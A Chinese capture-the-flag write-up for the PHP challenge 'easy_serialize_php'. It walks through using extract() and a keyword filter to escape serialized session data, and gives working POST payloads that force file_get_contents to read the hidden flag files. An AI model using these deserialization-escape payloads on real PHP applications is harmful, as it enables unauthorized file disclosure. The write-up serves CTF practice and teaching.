[安洵杯 2019]easy_serialize_php

源码:
<?php$function = @$_GET['f'];function filter($img){$filter_arr = array('php','flag','php5','php4','fl1g');$filter = '/'.implode('|',$filter_arr).'/i';return preg_replace($filter,'',$img);
}if($_SESSION){unset($_SESSION);
}$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;extract($_POST);if(!$function){echo '<a href="index.php?f=highlight_file">source_code</a>';
}if(!$_GET['img_path']){$_SESSION['img'] = base64_encode('guest_img.png');
}else{$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}$serialize_info = filter(serialize($_SESSION));if($function == 'highlight_file'){highlight_file('index.php');
}else if($function == 'phpinfo'){eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){$userinfo = unserialize($serialize_info);echo file_get_contents(base64_decode($userinfo['img']));
?>
分析1:

将’php’,‘flag’,‘php5’,‘php4’,'fl1g’等字符串置空

function filter($img){$filter_arr = array('php','flag','php5','php4','fl1g');$filter = '/'.implode('|',$filter_arr).'/i';return preg_replace($filter,'',$img);
}
分析2:
if($_SESSION){unset($_SESSION);
}$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;extract($_POST);

等价于:

extract($_POST);

无论输入什么都会被重置

分析3:
if(!$_GET['img_path']){$_SESSION['img'] = base64_encode('guest_img.png');
}else{$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

按代码顺序,无论输入什么,后面都会添加一个$_SESSION[‘img’]
分析4:

if($function == 'highlight_file'){//本页面highlight_file('index.php');
}else if($function == 'phpinfo'){//hinteval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){//flag所在$userinfo = unserialize($serialize_info);echo file_get_contents(base64_decode($userinfo['img']));
知识点1:

extract()函数从数组中将变量导入到当前的符号表。
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

知识点2:

反序列化的字符串会进行以下规则校验:

  1. 以 ; 作为字段分隔
  2. 以 } 作为结尾(字符串以 ;} 结尾)
  3. 根据长度判断内容

因此我们可以利用过滤的字符串长度,逃逸,提前闭合。

解题步骤1:

传参f=phpinfo,发现重要线索。
image.png
也就是说需要传入d0g3_f1ag.php,即需要显示的页面。

解题步骤2:

构造需要逃逸的内容

<?php
$_SESSION['img'] = base64_encode('d0g3_f1ag.php');
$a=serialize($_SESSION);
var_dump($a);
?>

结果:

string(44) "a:1:{s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"

将无用的值去除

s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

添加前一个键的值,该值任意

;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
解题步骤3:

加上任意键

<?php
$_SESSION['a']=';s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$a=serialize($_SESSION);
var_dump($a);
?>

结果:

string(70) "a:1:{s:1:"a";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";}"

如果键被过滤置空,需要将";s:48:7个字符当成键,所以应当使键向后取7个字符
即键应当被过滤7个字符,任意组合phpflag,phpfl1g等等都可。

解题步骤4:

进行过滤逃逸测试

<?phpfunction filter($img){$filter_arr = array('php','flag','php5','php4','fl1g');$filter = '/'.implode('|',$filter_arr).'/i';return preg_replace($filter,'',$img);
}$_SESSION['phpfl1g']=';s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION['img'] = base64_encode('guest_img.png');
$a=serialize($_SESSION);
var_dump($a);
var_dump(unserialize($a));
$b=filter($a);
var_dump($b);
var_dump(unserialize($b));
?>

结果:

string(114) "a:2:{s:7:"phpfl1g";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
array(2) {'phpfl1g' =>string(48) ";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"'img' =>string(20) "Z3Vlc3RfaW1nLnBuZw=="
}
string(107) "a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
array(2) {'";s:48:' =>string(1) "1"'img' =>string(20) "ZDBnM19mMWFnLnBocA=="
}
解题步骤5:

构造playload:
_SESSION['phpfl1g']=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
image.png
查看网页源代码
image.png

解题步骤6:

将需要传入的页面替换成/d0g3_fllllllag
只需将上述过程再来一遍即可。
最后发现也可以直接替换base64加密后的字符串即可
playload:
_SESSION['phpfl1g']=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/44013.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

申请商标用什么颜色:企业和个人申请注册商标攻略!

在申请注册商标到底要用什么颜色&#xff0c;许多初次申请注册主体都不是特别清楚&#xff0c;普推知产商标老杨建议&#xff0c;在一般情况下建议尽量用黑白色&#xff0c;因为商标用黑白色在使用时可以着任何色。 在用黑色申请注册成功&#xff0c;别的主体用其它颜色要在同…

制作骰子-美团2023笔试(codefun2000)

题目链接 制作骰子-美团2023笔试(codefun2000) 题目内容 塔子哥是一个喜欢手工制作的人&#xff0c;他经常用各种材料制作一些有趣的物品。他最近想要制作一个骰子&#xff0c;但是他不想用普通的六面骰子&#xff0c;他想要制作一个更有挑战性的骰子。他想要制作一个总共有 n…

【python】PyQt5事件传递,鼠标动作捕获,键盘按键捕获原理与应用实战

✨✨ 欢迎大家来到景天科技苑✨✨ &#x1f388;&#x1f388; 养成好习惯&#xff0c;先赞后看哦~&#x1f388;&#x1f388; &#x1f3c6; 作者简介&#xff1a;景天科技苑 &#x1f3c6;《头衔》&#xff1a;大厂架构师&#xff0c;华为云开发者社区专家博主&#xff0c;…

jQuery Mobile 实例

jQuery Mobile 实例 引言 jQuery Mobile 是一个基于 jQuery 的轻量级移动设备友好的开发框架,旨在创建响应式、跨平台的移动应用程序和网站。它提供了一套丰富的用户界面组件和触摸优化事件,使得开发者能够快速构建出适用于各种移动设备的用户界面。本篇文章将通过一系列实…

部署前端项目

常见部署方式有&#xff1a;静态托管服务、服务器部署 1. 静态托管服务 使用平台部署代码&#xff0c;比如 GitHub。 | 创建一个仓库&#xff0c;仓库名一般是 yourGithubName.github.io。 | 将打包后的静态文件文件上传到仓库。 | 在“Settings”&#xff08;选项&#xff0…

C语言编程4:复合赋值,递增递减运算符,局部变量与全局变量,本地变量,转义字符

一篇文章带你玩转C语言基础语法4&#xff1a;复合赋值&#xff0c;递增递减运算符&#xff0c;局部变量与全局变量&#xff0c;本地变量&#xff0c;转义字符 一、复合赋值&#x1f33f; 1.1&#x1f4a0;定义 赋值就是给任意一个变量或者常量赋一个值&#xff0c;这个值可以…

javaweb零碎知识3

// 假设您已经导入了 axios import axios from axios;// 获取表单元素 const form document.getElementById(myForm);// 为表单添加 submit 事件监听器 form.addEventListener(submit, function(e) {// 阻止表单的默认提交行为e.preventDefault();// 创建 FormData 对象并从表…

JAVA预编译简单理解

目录 一、JSP预编译 二、JDBC预编译 一、JSP预编译 JSP&#xff08;JavaServer Pages&#xff09;是一种动态网页技术标准&#xff0c;它允许将Java代码嵌入到HTML页面中。当第一次请求一个JSP页面时&#xff0c;Web服务器&#xff08;如Tomcat&#xff09;会将JSP页面转换成一…

福建 | 南安帝兴混凝土电子签收的困难和突破

01 发展从来都是从困难开始 混凝土发货单实现无纸化签收&#xff0c;众多业内人士认为这个概念很好&#xff0c;但能否落地却大多抱有怀疑态度&#xff0c;理由多种多样&#xff1a; “行业太传统&#xff0c;接受不了新鲜事物。” “驾驶员年龄偏大&#xff0c;玩不来智能手…

【分布式系统管理框架】Zookeeper集群

1、Zookeeper &#xff08;1&#xff09;Zookeeper定义 Zookeeper是一个开源的&#xff0c;为分布式框架提供协调服务的Apache项目。 &#xff08;2&#xff09;Zookeeper工作机制 Zookeeper从设计模式角度来理解&#xff1a;是一个基于观察者模式设计的分布式服务管理框架…

怎么制作gif动图,视频制作GIF动画更简单

在社交媒体和网络交流中&#xff0c;GIF动画以其生动活泼的表现形式成为了表达情感、幽默和创意的热门媒介。无论是分享日常趣事&#xff0c;还是制作专业演示&#xff0c;一个恰到好处的GIF动图总能吸引目光&#xff0c;传递信息。 但你知道吗&#xff1f;即使没有专业的设计背…

工业一体机为数字化工厂带来高效作业指导

随着工业4.0的浪潮席卷全球&#xff0c;数字化工厂的概念深入人心。在这一背景下&#xff0c;工业一体机作为数字化转型的重要一环&#xff0c;凭借其强大的功能和灵活的应用&#xff0c;为工厂实现高效作业指导提供了强大的助力。 一、工业一体机的优势&#xff1a;赋能数字化…

如何避免在 Docker 容器中遇到 MAC 地址冲突和 IP 地址冲突的问题

在 Docker 容器中遇到 MAC 地址冲突和 IP 地址冲突的问题时&#xff0c;通常是由于 Docker 在分配网络资源时出现了一些问题。虽然这种情况并不常见&#xff0c;但仍有可能发生。以下是一些原因和可能的解决方案&#xff1a; 原因分析 Docker 版本问题&#xff1a;某些 Docke…

2024年全国青少年信息素养大赛图形化编程小高组复赛真题

2024年全国青少年信息素养大赛图形化编程小高组复赛真题 题目总数&#xff1a;6 总分数&#xff1a;100 编程题 第 1 题 问答题 请对变身鱼进行编程&#xff0c;变身鱼的初始状态已经设置&#xff0c;不需要进行修改&#xff0c; 1.当变身鱼大小大于300时&#xff0…

数据高效交互丨DolphinDB Redis 插件使用指南

DolphinDB 是一个高性能的分布式数据库。通过 Redis 插件&#xff0c;DolphinDB 用户可以轻松地与 Redis 数据库进行交互。用户不仅可以从 DolphinDB 向 Redis 发送数据&#xff0c;实现高速的数据写入操作&#xff1b;还可以从 Redis 读取数据&#xff0c;将实时数据流集成到 …

Python开发——CSV 文件的使用与应用

CSV&#xff08;Comma Separated Values&#xff09;文件是一种常见的数据存储格式&#xff0c;广泛应用于数据导出和导入。Python 提供了内置的 csv 模块&#xff0c;用于读取和写入 CSV 文件。下面是关于如何在 Python 中更全面地使用 CSV 文件的示例和应用。 1. 基本读取 使…

PaddleVideo:Squeeze Time算法移植

参考PaddleVideo/docs/zh-CN/contribute/add_new_algorithm.md at develop PaddlePaddle/PaddleVideo GitHubAwesome video understanding toolkits based on PaddlePaddle. It supports video data annotation tools, lightweight RGB and skeleton based action recognitio…

17集 如何用ESP-IDF编译ESP-DL深度学习工程-《MCU嵌入式AI开发笔记》

17集 如何用ESP-IDF编译ESP-DL深度学习工程-《MCU嵌入式AI开发笔记》 参考文档&#xff1a;ESP-DL 用户指南&#xff1a; https://docs.espressif.com/projects/esp-dl/zh_CN/latest/esp32/index.html 和https://docs.espressif.com/projects/esp-dl/zh_CN/latest/esp32/get-s…

机器学习深度学习用得到的数据集

以下是一些常见的机器学习数据集下载渠道&#xff1a; Google 数据集搜索引擎&#xff1a;可以通过文本搜索数据集&#xff0c;并能按日期、数据格式和使用权限等进行过滤。地址&#xff1a;https://datasetsearch.research.google.com/Kaggle&#xff1a;这是世界领先的数据科…

PHP禁止IP访问和IP段访问(代码实例)

PHP禁止IP和IP段访问 实现IP限制是Web开发中常见的需求之一&#xff0c;它可以用于限制特定IP地址的访问权限。在PHP中&#xff0c;我们可以通过一些方法来实现IP限制。 <?//禁止某个IP$banned_ip array ("127.0.0.1",//"119.6.20.66","192.168.…